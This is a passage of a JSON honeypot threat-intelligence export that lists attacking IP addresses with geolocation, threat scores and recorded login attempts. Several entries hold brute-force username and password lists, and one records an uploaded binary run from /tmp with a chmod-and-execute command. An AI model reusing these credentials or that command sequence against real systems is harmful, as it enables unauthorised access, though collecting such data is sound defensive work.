        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "31.42.176.142": {
      "attack_count": 114,
      "first_seen": "2026-05-08T11:17:37.861Z",
      "last_seen": "2026-05-31T07:30:22.873Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 43641,
      "as_org": "SOLLUTIUM EU Sp z.o.o.",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:17:37.861000+00:00",
        "last_seen_30d": "2026-05-31T07:31:27+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 56
      }
    },
    "116.208.14.217": {
      "attack_count": 104,
      "first_seen": "2026-05-18T22:11:54.139Z",
      "last_seen": "2026-05-19T04:20:38.889Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:11:54.139000+00:00",
        "last_seen_30d": "2026-05-19T04:21:43.317000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 54
      }
    },
    "143.198.153.185": {
      "attack_count": 72,
      "first_seen": "2026-05-09T00:04:27.334Z",
      "last_seen": "2026-05-31T05:22:53.561Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:04:27.334000+00:00",
        "last_seen_30d": "2026-05-31T05:23:59.073000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "35.241.214.123": {
      "attack_count": 72,
      "first_seen": "2026-05-02T04:44:49.387Z",
      "last_seen": "2026-05-02T04:45:45.898Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1528",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:44:49.387000+00:00",
        "last_seen_30d": "2026-05-02T04:46:55.677000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "74.48.174.146": {
      "attack_count": 60,
      "first_seen": "2026-05-11T03:05:33.104Z",
      "last_seen": "2026-05-19T07:51:17.485Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:05:33.104000+00:00",
        "last_seen_30d": "2026-05-19T07:52:22.615000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 31
      }
    },
    "115.42.75.108": {
      "attack_count": 50,
      "first_seen": "2026-05-26T21:35:35.002Z",
      "last_seen": "2026-05-26T21:40:59.507Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:35:35.002000+00:00",
        "last_seen_30d": "2026-05-26T21:42:08.006000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "61.151.249.194": {
      "attack_count": 47,
      "first_seen": "2026-05-27T05:44:40.602Z",
      "last_seen": "2026-05-27T06:18:08.255Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "esuser",
        "rgkim",
        "steam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "111111",
        "123456aB",
        "Voda@123",
        "aabbcc",
        "fjbdfdjkdsfs541544AA@@",
        "rgkim",
        "steampassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:44:40.602000+00:00",
        "last_seen_30d": "2026-05-27T06:21:35.437000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 47,
        "Suricata": 33
      }
    },
    "87.186.11.198": {
      "attack_count": 42,
      "first_seen": "2026-05-21T16:01:13.451Z",
      "last_seen": "2026-05-21T16:01:21.453Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [
        "./peN9J3Hl",
        "cd /tmp && chmod +x peN9J3Hl && bash -c ./peN9J3Hl",
        "scp -t /tmp/peN9J3Hl"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.var",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Achim",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:01:13.451000+00:00",
        "last_seen_30d": "2026-05-21T16:02:30.098000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 10
      }
    },
    "194.35.227.51": {
      "attack_count": 36,
      "first_seen": "2026-05-11T02:47:56.960Z",
      "last_seen": "2026-05-13T00:33:31.501Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 211484,
      "as_org": "Ysz Trading Co., Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:47:56.960000+00:00",
        "last_seen_30d": "2026-05-13T00:34:34.165000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "36.107.94.31": {
      "attack_count": 25,
      "first_seen": "2026-05-13T05:34:02.566Z",
      "last_seen": "2026-05-13T05:34:26.427Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137694,
      "as_org": "CHINATELECOM Xinjiang Kezhou MAN network",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T01:37:15+00:00",
        "last_seen_30d": "2026-05-13T05:35:32.541000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 14,
        "Honeytrap": 1
      }
    },
    "170.64.182.38": {
      "attack_count": 22,
      "first_seen": "2026-05-11T08:33:18.358Z",
      "last_seen": "2026-05-11T08:33:26.356Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "$4",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-11T08:33:18+00:00",
        "last_seen_30d": "2026-05-11T08:35:01.369000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 57,
        "Cowrie": 22,
        "ConPot": 10,
        "Redishoneypot": 6,
        "Ciscoasa": 5,
        "Dionaea": 3
      }
    },
    "101.96.214.23": {
      "attack_count": 20,
      "first_seen": "2026-05-02T20:30:45.768Z",
      "last_seen": "2026-05-02T20:32:43.414Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:30:45.768000+00:00",
        "last_seen_30d": "2026-05-02T20:33:52.172000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "177.241.118.45": {
      "attack_count": 20,
      "first_seen": "2026-05-09T02:02:40.582Z",
      "last_seen": "2026-05-09T02:13:25.379Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ciudad Serd\u00e1n",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:02:40.582000+00:00",
        "last_seen_30d": "2026-05-09T02:15:09.734000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "45.238.182.94": {
      "attack_count": 20,
      "first_seen": "2026-05-21T21:34:49.908Z",
      "last_seen": "2026-05-21T21:47:59.478Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 266860,
      "as_org": "CONEXION DIGITAL EXPRESS S.A.S.",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:34:49.908000+00:00",
        "last_seen_30d": "2026-05-21T21:49:07.758000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "180.103.119.98": {
      "attack_count": 13,
      "first_seen": "2026-05-30T01:38:14.162Z",
      "last_seen": "2026-05-30T01:46:49.015Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Ml123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:38:14.162000+00:00",
        "last_seen_30d": "2026-05-30T01:56:57.662000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 13
      }
    },
    "111.23.129.238": {
      "attack_count": 12,
      "first_seen": "2026-05-04T00:30:01.187Z",
      "last_seen": "2026-05-04T00:30:08.897Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56047,
      "as_org": "China Mobile communications corporation",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T00:30:01.187000+00:00",
        "last_seen_30d": "2026-05-18T04:18:35.294000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9,
        "Honeytrap": 1
      }
    },
    "159.89.144.17": {
      "attack_count": 12,
      "first_seen": "2026-05-20T06:34:13.370Z",
      "last_seen": "2026-05-20T06:36:53.106Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 155231,
        "days_active_30d": 5,
        "ports_targeted_30d": 65083,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-20T06:33:23+00:00",
        "last_seen_30d": "2026-05-24T01:13:50.212000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132670,
        "Honeytrap": 22501,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 8,
        "Miniprint": 8,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "168.210.155.204": {
      "attack_count": 10,
      "first_seen": "2026-05-23T03:46:38.156Z",
      "last_seen": "2026-05-23T03:55:00.319Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 20011,
      "as_org": "NTT-DATA-Inc",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:46:38.156000+00:00",
        "last_seen_30d": "2026-05-23T04:00:55.320000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "176.65.139.20": {
      "attack_count": 10,
      "first_seen": "2026-05-25T21:16:11.796Z",
      "last_seen": "2026-05-25T21:16:25.105Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "uname -m"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 44.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:22:24.547000+00:00",
        "last_seen_30d": "2026-05-27T10:05:14.557000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 9
      }
    },
    "192.42.116.105": {
      "attack_count": 10,
      "first_seen": "2026-05-17T22:49:33.419Z",
      "last_seen": "2026-05-26T13:30:26.800Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "toor"
      ],
      "passwords_attempted": [
        "Itsemoemo2024@Washere2024",
        "Lagartij0Toor!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 65.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.4,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 346,
        "days_active_30d": 10,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-17T22:49:33.419000+00:00",
        "last_seen_30d": "2026-05-26T13:31:35.205000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 92,
        "Cowrie": 10,
        "H0neytr4p": 9,
        "Ciscoasa": 6,
        "Dionaea": 2
      }
    },
    "203.175.102.242": {
      "attack_count": 8,
      "first_seen": "2026-05-23T00:32:17.303Z",
      "last_seen": "2026-05-23T00:40:18.400Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 152014,
      "as_org": "PT. Mitra Kita Brilian",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:32:17.303000+00:00",
        "last_seen_30d": "2026-05-23T00:40:18.400000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "45.83.33.5": {
      "attack_count": 8,
      "first_seen": "2026-05-12T16:10:52.717Z",
      "last_seen": "2026-05-12T16:16:55.394Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 208821,
      "as_org": "Duru Internet Ve Bilisim Teknolojileri Sanayi Ticaret Limited Sirketi",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:10:52.717000+00:00",
        "last_seen_30d": "2026-05-12T16:18:09.590000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "103.193.75.182": {
      "attack_count": 6,
      "first_seen": "2026-05-12T03:23:09.680Z",
      "last_seen": "2026-05-12T03:23:11.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Panvel",
      "asn": 146943,
      "as_org": "Tier 4 Cloud Services",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:23:09.680000+00:00",
        "last_seen_30d": "2026-05-12T03:24:16.650000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "106.75.230.113": {
      "attack_count": 6,
      "first_seen": "2026-05-07T20:51:33.141Z",
      "last_seen": "2026-05-11T05:41:24.820Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:51:33.141000+00:00",
        "last_seen_30d": "2026-05-11T05:52:09.390000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.255.100.243": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:20:35.782Z",
      "last_seen": "2026-05-05T00:20:42.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
